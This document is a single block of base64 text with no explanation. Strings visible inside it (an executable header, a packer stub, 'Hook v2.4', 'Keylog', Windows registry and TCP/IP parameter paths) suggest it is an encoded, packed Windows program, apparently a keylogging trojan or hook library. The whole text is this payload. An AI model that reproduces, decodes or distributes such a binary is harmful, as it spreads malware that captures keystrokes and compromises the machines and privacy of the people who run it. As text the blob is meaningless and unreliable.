C7h+B7Ybm+XZAVKCC759D6F/v9lLLmWA938bC+SAnm22ZzOtgwMUzH8PAYGc/JbcayGBB8GBPVzo psg9g/k1DdEAq7fSUKLFDhR/b34ButVbBg1/OlCLwTlVKt2/JWoCWivCdBgDDvyxjdodXrgU4D9e DAX+zJGRBAD43zcPdBvz+4xNM5jw3y3o3zv5kOfg39QVdEQ3A9sU760tDwx0InJ1DUg+kbGRZ1nM xAXAkZGRkbiwqKTIyLKdnNlpp5u8nfz9V39WdE5sOXRBNAsIdCm2DsgQWy0IKDdGul8BtK7pAG+U jEbGRsYFhHzAdGzt4UNGZF90MysoSYx9Y7cfAhZItaNFWK9QjIyMjEQ4MCjJ35+MHHt/VHRMoG10 P0vTNN0yAygeFAp1I2ORhVB7354A+Pl8Pp/e8N7o3uDe3N73sCkaLRV0T01E8uh/29s5BBF0LqQl DBpWUb7I/Q0Bomly2FapjI09QKHMRcAFuOOMjIywqKBEgEbePgh/QVWLwUhIhVKYel4SPRgARkbG nuBUBVBMRPJwRkY8OJoJdqnmujo3RwvaI0idyNgQMng0TSyoyMjIKCAcrqv6rC+DeARbCFFVSLrf wAwMdfNSjNeCzuoLUgO7XX4Bv7k7Dsl0BscBiUAEP+gTCploEKP1eOY7IA9zLxPIolFROwDd9+1V PHUZvdxnkI9VA9CPjt+LxfZ6wb/bW1FtPF7xTP739weLLBJAi86Q3TI73a11iVREGvfxHsgP0h0r qhR7XlYR9nbB6bZJ9SQc9nQwsaE2CAO4U3QF4m0VrrJviIB22+uKRwKAPd2cvgXRRnckbhCwdfpN dC86GC3sfQTGBiBGDkC9NMwi3XRDVjUVEIO5S9A00gY5Mjz5N4B9YTpRaGg3i8Rdw6d7hdJ1Djs4 dTIiLg0KCzlzIwRXTfpdKJDkUmhcSUFbXTYQgxSMMG0IQAJXWIJWFcwjbYiaYBnOccnDjB0r3BuI Tf4jB/1WBvyifikqPwdXijGKUX7fYtlkcUlx4ggL1gTRubu/mSqDEngCK9GL8jgwitofc99QARjX EybXv4CWmAAdISrVoqb9yJJli3qKSAWqBgf0W/B/O8dzCCv4g030/zu4gGln/xG0YBLYZqVb7i+n /1P33usEB43GuZMat3cFc9mZ9/sMi/EUQVsp2lPcWObec13UK6YUWNgIDpuCkQHU0A3Aff6Wgu0L 99hJC+b4UgtFmSVq991LamQo+EJV7OVLNsdr8DhiDujb92a2WWjkN+CLxxXHD/BfBL99B/DKRf4P r3UyfLSIHvXuiz00C4I3WgRLYtvHpWzX19zsVzpF/SAaSokknXu3GwihGgwd/I18L4qQOD2+sVCt wqyOAfCbIXANK+wQdwLkL8vWLeAQ3ALY1NBomNiRTgjSNcT6RDuAzu5ujSpB1lnlWzsFD1BDjJxt Oz0bVwylNGhzNYug7lYwtbmiS6yZXrMHwd1fobBcWSXh8Ay1RDNeVHw6bfLKjltSVgxYdz/mvgT+ +Wj44HgQ0S6L4rFZKfj/BaIJ7QyAPDEudQFCQTvIfPRU3Yre8Sp1BccBShFvhfgwfDDzGovCXrkC Q4syOsukuERTtVS8djCKFGy3jbYuIkBdUKZwrUgULt020b5odnAIAgxSTQThEK1mwIIkXWQLLVfK yUgYgiAEDPVUnKB1PQu92x2Bnb1IHrsgBHURal/C8BBshuGlVTirL0YHsRkEKC3bTpUaUL6iTAhA 6RJyFzJraIQeEAo7UWYMEYMm5Cq5eAIUtgjM1IE1hlMhmcrOkYkBADCskp3ecwDQOikQTW+UXyg9 eA+GxDsYWl+KDor+v9HWVgHbbTdGih5GiF0KitnA6wIVAPjfB/yA4QOK2oDiD6v/39W+EAQCy4oa rIrLwOICwOkGAtGxQID/21vr4z84tyr/c2AH/XNhOtFzYzrZjogW8XNlO32FMal61xrjHnaKiSCl zrAHtnsMGEAQ/UcOykcctb0Bmf9Hq0dcUvZ4Q4Ib/yW4kgVV0VTkwzIMBG9di3SfogkCCHYX9jcA dG19f+kC86WLyoPM99vu9vOkihiK0dbA6t9V/IpVCdqutcjL6sqKVToc7rbZv2ze6sqAffxAcgZl C/2Kf7JL+QqNUAQ7VRR32cxYVyFNksYUDf1t99YtxAGjig1hD+sJGwLeWbLJ4BNA6irxRd1lcgUv gF8uTEOITpFzRL1RR3QWcFa+PyZRD8Br43IMAzAVzG6YExN2FzWw6w4PV/XuzZxBXZEQfEgDUQRV rRycAmP0qkuKvprwaGSlmRgL1mZfNHYTahxoB2mPSbaoXCk3DBL0nFTuWGqyCgyD6thXH7S89Y2W L5kSWdH4alB0hdhs0KoJyTeOBC984b/iAyvK0+AJBuD/EHzUwfyDykbxW+v/i9qGRo1N2IM5D/2t sdE7TQfnNV7rF0brFAK3Jb4NdBA72nU7KX4F7lsqOqqhwsoEPs0tpHsIfNAcDg2D79rbC7wCfQJU jXWoVRAXO/t8idvfqhMVA8M7+H0KDHVD0L0XBWA6oWUJ0S5AvEoGdRiLFDk4UYO4a3s9BXUJxkK/ lXLUhCO92GgA4+bY/roHA/CzR4Ci6yb61hcY+qCSCMhkm8BDh3iyO4sssY91blkthQ6Bg/gIdXQQ 2ndFK0WoK/BGu3PGQnAP6xEdcxmDC3RPTRBX18/NuSQLcNuaqLgUiRM5gn4D0ERbM8PEB1X/DGgA DkqCUqod/P9fjw+dwkpbg+L5g8I3AtCIEYoGQXlGW2HYcxoYF3IZQdWSIROGDj5HttK3S4YIfaoB LkFH0uqyqdFV3H2AIWhfVIPgyNhzWKJUBVBMoidksymBSKJEorgYu639qKZtQDALvfAJBGNmK2jZ uHATk+mHnBzYuJgT4MAAP1UBZQBBQkNERX8p/v9GR0hJSktMTU5PUFFSU1SlWFlaYWJj/////2Rl ZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4diE64DkrL4CgMBJQA3W3bb4A/81RC+EDLyYA kO7sQwvE2xsDC7wGGZBmBLiw/1+yN2msOwALqDRN13UXoAMCC5yQA9M0TdOMbARoTE3TNE0FRDQG MBw0TdM0BxgQCAw0y2bZ+NoJ9NroCtM0TdPg2AvUtJqm6V4MpwucDZSAaZqmaQ54ZA9gpmmaplAQ TEQRS7NrmkAsEoMk2toTM5uuOwcAgxT42QPla5quFQvk3BaD2elONsvE2Re42RgLtNM0zbKo2Rmk oBpN0zRNnIgbgFwcdWdpdo9U2dkdBzR3lmbXAx6PMNnZH4Om687C2AcgB8ALIZqmaZq8qCKghPtp mqZpfGD8WEhf03Sv/V8LHP4UH9earjsLZ2QH1Atl0NN0r2m4ZssLnCO4wzBNlHwPdAtlqmRgtz1j 2TbsJXUuAvvTX8O6C3vYC3CldwETiL2MX0g7kKWzwMVd2IwlC98/0LLuI5Af29hLuGOI790XAPgT IAWTGSM4G9nk1wJLSKa7BwXkG9m3L2Ak32z3h+gn4xlXT5DJZQ8sV+yTJ7iB5JIDAJTgBBFGlBS/ oKgCGwL/v/z/LCA7AE5hbWVTZXJ2AAAxNDkuMTc0LjIxMfL//90uNSxTWVNURU1cQ3VycmVudENv bnRyb2zS/f/vdFwwaWNlc1xUY3BpcFxQYXJFdP1B8t1zM3lzdGVtVnhEXE26pSK+WENQACznKAMk aZqmaSAcGBQQsmmapgwIBAD8wE3TNM349PDs6OS3v9004ERlY89vdgBPY3SHZXC523f/AEF1ZwBK dWwDbgBNYXkPcHIH/+2yvQNGZWITYVNhJ0ZyaQBUaHUA7Z1b/ldlZABUdWVvFy9Ib29rsdtuC/8g djIuNAAlcyklCDJ1BXMCAgXsbHULOgUkv/3/fxLNm0sqtnnwFriY9I+IMjI3q2ET+rU9S5PK/gPy QdAx1uKpex+PQ9o+J/9R8j/TmUwgsmH6H978Qia2Eu2U/I+SFcCdTiG0cYhvBeD/PxDxp3wNmmDL PJWD+YKVc26n/yfkbxP6rGYJyw4R5KB9JZtVyzKL+/9g/5H6lZNzfzupJ9BJ3y+Zj/aCyT5zOTtj g/3/9aphAcxg2jyWgPGGEw8nQ//////YM5mF9MmEMnEX+rh4F5dQ2B2egPyVgi5pPbJ+/EpWff// //9iC/G+IQaOSdZzm474FuWgdxSORcAdlIDhgooyeDGof/+F/f+3B1p/ACf+o20Ki07dcxchnKOt BoGh9v///5leHsjkANlIllYR8q5sCZtT+T+ZjfmUnnNyMbCHf/l/2CM7moD5i5QkMjqheEd7e5ay pf////8emKOMWkDH9Rwf5LhsDqFNwAKIk/yEjB11PrF/7QNaZsb/2P9plqOhFsahl18Vy03WM5OE 7IWVPBT/E7b8tyL3AUEWN2lcIa9+twpQZlXxxxrXL1XSL9aP8P/f/t9WHeOlZhaXU9cyp4fgJzRy M5tr9gtRUnqMsP/C//bqEYevHxfivm5InU/Uc2S7iJIpfjil//9/hHYbGsSSQgCQVNAuuIz0jotw ZHmnZPgKUv//a7d3976pe2PTRs451pP0l445bz2waf///2N7E86HXyO0dP4HuITthI4peXqnY/QO +rluS/z/wv+bWNo0jIS7hIgw192KXj+9ZPk4gIL8k4L/CyGbI+fPhVUvzWDcJZv/lrLJiOEja9iX WiunbOtE8g+SEeO+YQmPRHf8//8U9LVkBIlP3h2Tk/qRhil3Nepi/BB/Df6g5S/88m4V0EaWlbuV km8S5L5rC77bmPHCL53LhYgl36N7I9N1XVgTYEt0A4hN0zRNnLDE2OwAmqZplsIUKDxQZGmapml4 jJy0wKbpTLfYwi/DAzhYmqZpmnCImLjQ7DRNs2wExBgoPEzTNE3TYHCElKgt0zRNuNDg9HV9DOBZ X7Ci2y5QQVjwW8+QD0RD0yd0IHNr9v8GLpIgbpAASW52YWxpZCBETlMV2gIfgeMgYWRkl3MMtW/+ xVEXQW5zd2ZhaWx1GVbgtp0TUh5vDXRpChc22z5bW2V4cAdkXRNbe1caBxEiQCIgBx9tZ/8XcC87 S0VZX1VTRVJTAAtM9g/2/09DQUxfTUFDSElORRNDVVJSRU5UJzP/HzYAE0xBU1NFU19ST09Uh3tg X6B0rnRfJVgLIEti22CEbmwHPRZQXmPQBA9suzMyTpt0D0Zp7QWaK6OjvOVlVG/Qtu/b9mhlbHAW U7twc2hvKgByUv3PC9yOTDPBRExMClRpdGxlOs6VwK3MWSIs5QqDN3gPC3jZbXB18r8b9pktIFVz CiVLZXlsb2d3ycHeT3BkC2ZmbkftjbbERxJEmIt3K2IXDTr3YH9SYXMWwWrIYrIXDn2/Zm9BF0Vh W7lrSnkccGVy4kEXe7euiWNuL1NMdHUVF+je7BYsdW0YSBZS3AvLXllBUEnrT2dpc7+CmxAkljbX XO/c7hsjXANyYgfwXCouKo4tuxhrYCoucAdodC9aV/gURGpnb50zba1E+29mdHdhD+JVU3M4LO7Y DVxXIG93cxNWo7nWuSeTXN1+oECF3c1FHaRuZyBhY6SjuW0XTXRob1AlJL5tYyJsAFNFn2yHCze0 aAxt7WwgRvVkexE+cxnvOgBtvwEHtmba3tUAIgFmBTzbjcY3uHp6b0AZ2S5jBD7W1tx/MyJKVURZ GgYBQjnFjd//MUBBT0wuQ09NHCJSK2EgTLulrTFlaQVpJHBvR2IrLDQS6EBPdG+xxmzr9m5IYUdX Yvds+3flYTA4MjhAeWFnb2YiS6iFuvZceYSoySVHTMvahW5BdHmLQGG+i3Zr7n0ieacGpmtiLak/ w8PaZHsgIkwRZGxn2akrbHh6N8l0jB8KruAi2GkfubuUGeqecpQi729hjtjYCQxqCEAd5cUatIV4 7y5s9yPtS5cun1NJziBCvEFWSUQNG1jreC46aeywr+dojrZkbZJjzhq4hq49sA9AYgOGLv9Ze9iw PisjQGdxGDUKC71HjHBa8VvuZ64cugpAY3liwYNwNQq/YCXbaWuNxBnaWLc/b0VtDkBFm1coNJb/ QGa+atucMzU4sCUQSi0fxlJhmGwZpXNhyJvjjeNNUDPnB1pJUFrp0fNET0NmF1eCwzTG5gtoY1dp o6PphfY2kXlfYdYuX3llWWiln9pnD01lX4rpwn2sGSsQJ0VUVVAH7/hYDT8TWU9VX9pfRkFUA6a2 Q1JfQRsRt89tNJLdX2QTTgtfTj7Q7ly2VF9TaQXzUkX2gc1dTUV/xmfNUGmPjbEda408XwU+42uH VjA9Ymz2wzbOGN5vC3s6g01UUCBFDQ0faaQYDxdYa09GVFeFl7TkQVJFqEFjLCW30AoCB0pudGT1 zbZgD2UwAD9yoFF4wM8oLI00zG/PVBF3BRhRVUlUDWItm9sDLgbUV3Sk5mjgnvNkK4YRiMBCrIV6 UqL2YusRaO0FO5h3MzU0Z1u530IjQTwyNf8/VG7w3Et+Tzo86RNcSUz2kpWW71KcESeSsj23wEjg T0MQDzKciBLxQTc45c8GJaJE6sGSPBJxgVFZWttQUVgpErFE3nH+jkSDSETcxUTsIkrqBzU2dlUW seMgJyCLaypxOjEAhnr1ZObrGgi2ZAoPS3YOIA9CG6FBHcNwFbWh8VLTY1pkswBxdQBHyVz3Awot LT0AX5NhAzz3ujCdXxUfI4WwXLgBJC1UcrhzZi23m4GteE5kcnZiYX42NDa20rAKIc8SPFk04oP2 N1pHQlA5cD49zwmBjQ9H8D0iU01JdS1uxJO9BSsxLjA7VHlwmtgq0DttEeZwqS/stpvYx2x5ZDsK PnQaPSJie7SWnlEdaUou09uSIh81vD9KtxXWI8uIWC3gJbe11nUCTWYzDSjaNmCOTcIUTgdtWkjo XOsZVeaRngoeFrAUlrqfnltq/AUwOTg3NpFXMZ5kKewtah5qdolmIFJlPG1sXratldogXwFcsHRD aUBC+5dvLTg4NTktMU600dqGjQNvWC1w9R9q/9aicbF6CjxIVE1MPgXW4NnmFQUvBkJPvbsb+yba Z0gSPTNEI2YAPiu7YYJW5q94cmMWly6hsWNpffEgjGlnr0S7a5gXMCB3GYkJ956bdTIvM1tVYm8I oSWy8ht9hSW+nWF13G8veC3odhRYV7GkAP9fbwaw3tLHAPBGDG0NC2uSS9YHH/YLYLCLCQAHbyCX tYYJvR4UPi4A6DQ76S1zYxWFbTYYzdfWKB4W1mALvikXTBMggxrSYA+4EkMuQ1Od6bXXwGseRSub AL49KnTYW1d4uhPiQMw3K3twGksLYwtE9HAoebwYzeKkU3KrY71H29BNsVNhKebXMefg7Q//ZWVC Oj4PuYQ1aCvzH7a5aLNJCg+zD10WS+gL/fNsZTHKwiz39JDFCovz8gcWC4vv7QABixUW7zwTr17g RlVOt1VNTxd6bC+NQVOXM+5PTkfHRZOX2EoKnUVPQVJEQZC4bQhDLFJMS4VSScK6S9x7gnvruV9A C7ZBR0VJBRYXArxPTz/JVvGJr6JfzEBA3+C2BAa3Czs7gWHJVJyDOT3ge4xBoeAD/j00G1yt1MRI X5rWichchAfTIP4aG2scIHZtawhahh8w3qsjKGBdcxYha1sOLgIjFh7YrIm7biktPE6lLv3QUWNI T1McTEnxtOBic/CIdisGT+EArbAmST8PihPWKEVTIk4rzalwtEyvQetkxTZedDxie23X0TZXwN7G dwnwYnVnp6oCjFUD2VYoKVnspC8FKQoALDfeoYWpoRsdF6CXysYMOkNEsPbtHceNIyhkZykPC7XN UXN2Y2OYSSA8WzK1ttggCAFHPXANurOzQm4lAKdnI2EjxvcD2joKD3Vv6uuJ51on3pFlZkuGGi2Y L4r/unZwbWsYmGwZRcGiB98rvSdfeSd3Zg3WC0Jltw81LweN0qweQ+MR8k2CWLB593djM9yrRs0a BJN3XCRmTS9nEGAV2ayNxUffdTM6KzlKmKvIzx6w94JtOUfzN6eagtZK2C/DlTSEN1a2fSlig85Y ZqK8JbTDUUc3c/CNZHw8I1qGHsGCNviO2GMhCcMiKKQMBW3ba7UxWwRdZgl7rf1rKxsR2QhSMgMI x2TPXNAhvNaHAQIAAgIP5gQABSBkr4RC95OFdQAkSVpnA8AvtGVqZnNDLD44LjH9VvoS/Dk5NC+9 AjUgMDY6cLvVLsU6NRNoeGk4RXg2QswsiyQ71HY1UNf6DDI2L7QCIO+VsL+iOjQ5OjM3NRPDQGAq eIu9wSYqNmyghuUPACP6dlccAOH1rMqaO3Bb69DCaz/vhXk4obHxcGBO4lpBZ2hfpbFisaNBmOdn FAo5aNYhfz8dXzhw1S9wZHVHuZU1bRIApHIaU51cvIYbt/pPSLm3kSQjTkZPK+1xyYGptdlUZXDB RuLB/vQpK0Efg1CJFud+tSCMXVhrPkMpACtCYBaP1nphOJd128gXC0FYRlJjLW1iYQJBjqxqI0ma oOBIxk1NmbWA9L3X/DJhG0EzBPTcpIrTE1CiQKHuK8TUlDVXogbQke8+NhwHvh9M7W7caaFFc+Dp lQW5vGYyXFksRTsXIyl7RIoiXiPs37D3TlhUAGyDXElQdjbAUXguNs8AB1maW2oraO1w+WP8fb5t J7RqjHcHaCthd24p8HA9b0dQT1NtsAgqQIOAtpd9qJWiUcoSBv9up3BUgnx290lH7B4LUbpfJjxu cx3gDax/G3fIW3twvWhSsqNTRE4u2d8bDwdYMjUWC6zY8BJbQ0UgR0FGHmAdthfPDETjIOcO8cFp HHCLW2kxDN8juUtUG1PGojlqD77Mj1hgTFgyR9tNg0HCGo31mBgTZhDsqxvTh9jF9w68zPJ3Li1r wxGv0NNBo6qVwcXCC1dLUm6RC9FmjxhV25chk4I1XqUxD2AtyfZuEW1iqqtHCwoLr3DwXQ1mIHuw xZKdcEFvqChLL0LUTrBDGuFmJnZTyZeCDUkOWVNGHynpHdoUcwPrS8chPBe9UXlOGeUNOASbQbtB TlmFMzQK/e8jGz4yjLHjQTxJyRwKgysTBkQu706JSyWLR/dESegVKrHE4yD1tUAwAwsjU/Irbe2x georVVRIIS5Z4L3NlioXi1dFUg0vCbSex2MQ+Q+DE7FDKQ7jMwvGXhtVp3MxLFIZ3omCPWULTIOz xosKC00KAGaZbQsWDF5kA2F3e4MK8wlELUKPLU/jO7dzpTQDF3RjHwtxch57sXU3ZotnRactPj4D F2+v6Ko8PC0QE9mBxuA6SHMKC0j9nqvdZy9wYabg69CLBZtBZkWLGBjZePhtD6HWUHfpdwk/CD9z bevgB2MJO0JnA6DF6tlwNjSDICl1k3qBZ7hDCgkKI0dCRUxy1RxdSldSpxYCsYaJDWd1h3BUO2Ou uQlLiAY7KFt7zTW+MHglMDSCFwBPTJidjYRFIHsgAg0rxIbXLirZE+G2XexLfzYlbA8pf1yw3U1e bXVtenMpFxV7r0Am+54U1xeSNagtE04W2azjwBdmhGgZF5iV4GOnaVzzr43WzlMqAO3/bssN99h4 C6AtHIgwi/x2cxOzPyLXIlwACSJEU0R4gcpvyIf3DgeYPGFXt1IuuqVzDQAlZsi/YQXGymUXbpUH 9wHPwS1TDPwtLdZaO7QA3wwVUx6GWhXeMifUlZPKI8dOyj9mdHV1Y/fijTUFFG4wTymxRlu6XGNl T6IvNQy5WyhkdR1kMsE7vRwMt6scGPFYM6KkggB4NPMBXqO9B4pIC1LIWWtvawchJQdm9s1urWf5 cHMHcXSTzZpAC+g7/3WuFc4PFriMh23aCLyYI9vjbA7d22L0h4uUaVgvLfbBvROrEzRCAHFiasIF sYtX8QCt1Y4ZFUJyagOBOO2KLVKnPWOSc3kz3LruMtdnW3ZLSUlb/Fbi0Jw79TNKM+wdCrgbAoMn B7WCa+5nEzmbUiOHU3tsIgDuWwmPe03JHosLBXIMC9j3zdyKFwQwMnMXbbazjd0yBC4JM2MgMtMz hBQubSIDYGqkV0/OOuUSWyZmKajTUtowtsWIpl9sNmyWkq3pFG1kAzKr1TuBKzPEfAwG3ukciQC+ 16jBY5zG/0M6XBrGC9xa0EP2XFc3TVxkNmqh9NJc+lRBXOlLXCW6U5VBQH1MPt6e2IhyN1w0XJRH LkPl4kcJ2/lFdmKBYWwIgw1TJbWAm6rcfwD44t/TNE3TA+jg2NTQTdM0TczIwLispHRN0zSYjIR8 P3SQNE3TaFxUTE3TNN1IA0RAPDg0aDnYNChOT23Dmq4RPOYTAzMy+KClaTEwOX9GuVjAHa8r+k0X TjADCitUk2Z4toWsRgtMRiAOAkvg3FInBdFaHFegxdxFOwct7CMC1hbiVVDNRT0LBRmQwRNERM80 XbcSOBM3AzY1gwW7A8NGWZeJUllVB4OKubdDSQcXBs0UVQFyJXisqIKwABURZOcB6gsz/wQASwBE AEwATVqQBqfqAUsE04o3ADLIuECABBF9+X8OH7oOALQJzSG4AUxUaGlzWdUlykBmbSAGoBWVolrU 34q+o3lET1MgbQEuDQ0KkP9ysCRXUEVMAQYAKsn6O3uA+u3gVSELAQUAqAoTMUfUPcAWBBDYDkhF s7EQCwK3S8Jmlx1wDAIpA2KwbtgGR4PoPBVyOUiXYDABSdRQdnhXLqRc2BfsdgeQ6wR9IDYbI9ou cjmDENSL7RZ2DCdqQC4mq6dksGc0MCcOwC6SQb6zaSh8J0AQzy0BvFNIpUSWJ9CmZJBQEtCffKao ELwrJ2BkMSWDFELZmwoYEYVqAcWqauOjFDEEWImGKE5AoCCDihYQenIUsb1jY5T2RROACVb95l0/ /wyInSj/geb/g/5wD49k5dugwi5rAg4hgVqez1ABNAERoxzbuwq4fovGyW1IdFQHA+4TBct0OSy3 MgMldN9t3T0cfBAyiQw5HQRRAAt9YM+322gMF+llCQhbHzMgzzddFQBFRyZ7vub4MC8J8CViEXm+ AVkmGiLoArJsy5+gEnReRZsfB+TTveyWAivuAk7g1gJ5Bmw5FNciy9jkeQbsszi10J15BmyZEp4i ksjmeQbsehV8wGQF3yLijUberA+HAgLb3u0X/qkUFzk1SyhTNIDFngFHuP8Vz4A8zzGwGRuoPs+A PAMFoO0BgDzNS+8BmNfPgDzP2ZDBw4g8z4A8q62AlfM9z4CXeH8fcM3zDch1dxVoX7g+NzqqkFPw YfMA1gAzclkeF48I6gDdQJ5vsDs7UWAjZ0CebyUVWA0PnuYln1D3APkASOFAnmdA40DLZ0CeZ804 tbeeZ0CeMJ+hKInDm2dAiyDrdjkF2o79/ex0fBp0dGgYFl+4kf90Qag9hKqEqEAXgGHHCIBTUBRf MNuD9BqsGgF1C4CKRhS/vR8gcz9ksF+LSwvrI2AbYEFkHhNoEAkW42zD0gxZWQ2JZBOwJgrMuPBW JAHQteanA009WXvnsB+Gczw+jY0Nr2+L76EhjSdQRG0Srklz2MQMQmQBabmTRcR9Fw41GHQJAFyz wqTrtnfLZrsdBxIN8RED2x0SSbtk0zQzX7QTdQ+m6ZquuSOL0QPn/U3TNMsTEyk/VWuBvR8eMACj BsOLDYwgNiC4b1ZX6FgC+P2NkhA7z34yvrxXVuRihg94q4DSxkExcwW92bHzZzedFXxAFcfrHlFo MCLgHZB6gyUI23Dh3dTDod9OdBLCnEAKtGBfGwcdFAAkhG0FwCuiDz7DbEARazQZE8Q2CwczNyBq ACUUaA+5Q0GGCXlH9M8aVE9ZD5XBisHDkc1tEV2AFQWEBRRwm3jMzO7Vxf7bXDztICvJfjFJiQoQ 3Z+xEJQzixGJFSQQdQuRLRab24glLHMNhmNcdQaSkMcb3e423Z8UaAQwBACjKA7oFwF9vLfnGFM1 CECjCEAA30eW7jV6QCx0Nos1L4PNFgz/7gQ78XIViwYI/dAe955sjxRz61F+kMcFFnOBoG2yTJAA U1Y7tlXBRlcVdRPXLlZAD3UJFyaFDdoNyhyLXCSPAUUvnGxvBAJ1KIEwBdlT/9EyZ9p1dwwI6N9B oDnc2JXfFNr4OYvonIXt7+/Zbp1XUCe39ksDdSI4eG8bk6as7SJ0EKFcuNm3d9Rczuhfi8VOryJA yCyHjA1ko4fUe1AghgFsmuUXAyggOEgLFVk2TbN0ogFeIGYHwaOmcHmXB4J4AsUDP2RsKCZQRAlB QDHYEmEJbouAjJKAGecHuf17U0xja30He25mMTB9AAYZZOQ5fQA4NzYZZLBBNR80M/OTQQYyMWRl bH04+fz5UHJ0fUR3bn1VcHL8fOuA231/bGVmdFBnRDzWIIgwB2hvbXtWKogMR2dVT5DunRxhbFAW v2OCPY99ZXNjfQ90cmxiH3v+liCVfQdDbHIK+1CU4Yp5jh2wvOxgQPAOQZy3QAackwHLQkHDpum6 BBs4Axokd7ZpmmJWTmxBI+Q7Kts0XfoDtNDGQDuiVYK4Ef1cbReQCUEBRXgRXa5f+DoCVG9B6Glp AAYBc1tiDRWFgG85b2VZFO5dvwJVbmgpkEtYe7A0JQJTKRJ2GmtHRegzMroAG28QlJeIY3B5PLmx szXMAnOACbUTePa3v5MdbW92Xk1TVkNSVDNZAu12VwqYcQsBX1hpdHxEE7j2cm0AjCmtI5qArN++ /GFkanVCX2ZkaXb3TFEJi40Q//8/Rt8HMIQwkTCcMKYwsTC8MMcw0jDcMOf//xf6MPQw/zBOKzE2 MUMxTjFZMWQxbzF8MYcx/////5IxnTG1MbsxxzHSMd0x6DHzMf4xCTIUMh8yKjI1MkAy/////0sy VjJhMmwydzKCMowylzKiMs0y0zLeMuky9DL/Mgoz/////xUzIDMrMzYzQTNMM1czYjNtM3gzgzOO M5YznjOlM70z/1+C4tgz9zoGNCA0PTRfNGU0gDT/////lTSbNKk0rTSxNLU0uTS9NME0xTTJNM00 0TTVNNk03TR/+///4TTlNOk07TTxNPU0+TT9NAY1DTUiijU/NUg1Vf////81YzVsNXU1gDWKNZE1 mjWkNbI1uzXANcg1zzXeNeQ16v////81+zUGNgw2FzYkNiw2QTZGNks2UDZaNmM2djaANpU2owII 6f82rDbTNvg2VTdyN7VMEVUWA6iId0DZLJDGTGFzdPyEbA/rDVNEdXBsaW5RdEUmSENsZTRYRN8Q RXhpdB4BxwaLUE4OQUlNb3MAtdtkdSdGaQPCEyK3UDQdbT7e234NkxBEZRt0IQwmQTiAwBdrzUDh W+dTYHF7m0SxbFPtZG9weS3LWgMGVOVEciUrVWwRT/kMe9iL6GoBoUlkFNusoBcN2nFMdm0W5G9h ZJ0QbVRpdiga1qyryb2wZwIKUHxcsZXABbzSIHMmwewEqkvkqNkQigIV/RtYhAUUOUNsb3OCBQnI V6Li2exR9A6sDz4B9JZsoQhja0P+FsXNag1VbjxWaWV3T2YS3sLOpE0OYrksim9CrBhNcZewv1ld EFNpeiAZjq2EW0wLdmWLIlRoFuPW4AZaUyllcDERmAUpaHu1o6hhokI9tdw3W8YZjWBXKXPb0sVs CmFGOVOTDuzcIWhP6VWTb2ZDxLAhXnocubZswkHFG2SnZiNkrqYxseW1FOKxnQAtZyywVkJEQ34B bTGSEPEVj6k7I7ayciU6w1ZnsJjhbHU1ZwMNW4xjLsJ5a/lVc0+ggM0GZ8iHabZhB2U9scLoojZ1 xABog19j3cLdkTdmcAthY20/bghfinBFtGdYJMLdmlvUcw6m8HlwnYvNiDNKAUhFD9kbUP8/PzJA WUErSUBaFRFzzfdzcG4WM1gXFg0t9kBIZkW0hXKPceYMrhYGdIJfQ3ix0BqGeO/mrQ1wE1zpnRdf FMvj34Uzm3+1RUhfcG9nbm7WPgNDdm7ACAJ3APpmhw9meAfhCm9SYxUXJQ+5m7udaWYbbGwGGmVr Btd02GsR2atmsHMGs1O8BhBjuSwP/hKCvnPgMc1VQUVAWFOhc+3oX2XHBlgbAd2Ewd50sRJwSNNt Kd4KhWJ68gZheABlNrfBLRgadXMLoWh+S4rXBetsH3BfDeYKGrNtgA1mBmvqhgs5X31fYmVCd8IR Ql9oNDMRZmSKDkEIB+XjCCeUokJpKmFiopGEk5spZ212s4oIDV8QAQxjP/sjCAcFcgBmZmyj1+Fu b2h0GG5vQMFuru43ezuSYnU+R+pvYmZJNxtbqmmMzfSRAORq7da5b1BDrXJVwgrXgeUKePZUxaho GixTbzhyNjBpZk0Z/zNhZwUdwZ4Ed7Ls2CzbUnUTkvpvAgMTsizLsjkQBAk0y7IsywoXc3QLFSzL siwUEhEIcN4CArEP3TaoIP5F+ksg3Q8BCwEG/9kK3u8DAI9QcS+gWEkDMd0Q3xKIjqoQ3QwQDhZs YAcGN+imIMHlWXgQcBY0JRC7FadkAt0C8U1OJoTnEN3EG+wULBH7IAcNDVII3ewHwFoJxDsH3dh7 rlS/oQvr80/7fFvJ8BcBAMSpziYJAAAAQAAgAQD/AAAAAAAAAAAAYL4A4EAAjb4AMP//V4PN/+sQ kJCQkJCQigZGiAdHAdt1B4seg+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz 5DHJg+gDcg3B4AiKBkaD8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D 7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CL AoPCBIkHg8cEg+kEd/EBz+lM////Xon3udECAACKB0cs6DwBd/eAPwF18osHil8EZsHoCMHAEIbE KfiA6+gB8IkHg8cFidji2Y2+ACABAIsHCcB0RYtfBI2EMGRAAQAB81CDxwj/ltxAAQCVigdHCMB0 3In5eQcPtwdHUEe5V0jyrlX/luBAAQAJwHQHiQODwwTr2P+W5EABAGHp8gf//wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABAAAAWAAAgBgAAIAAAAAAAAAAAAAAAAAAAAEAbgAAADAAAIAAAAAAAAAA AAAAAAAAAAEAGQQAAEgAAABwEAEAABYAAAAAAAAAAAAABABLAEQATABMAAAAAAAAAAAAAAAAAAAA 